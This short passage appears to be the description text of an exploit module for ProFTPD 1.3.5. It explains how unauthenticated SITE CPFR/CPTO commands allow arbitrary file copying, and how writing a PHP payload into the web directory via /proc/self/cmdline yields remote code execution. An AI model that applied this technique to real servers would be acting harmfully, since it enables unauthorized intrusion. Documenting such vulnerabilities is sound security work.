          This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5.
          Any unauthenticated client can leverage these commands to copy files from any
          part of the filesystem to a chosen destination. The copy commands are executed with
          the rights of the ProFTPD service, which by default runs under the privileges of the
          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
          directory, PHP remote code execution is made possible.
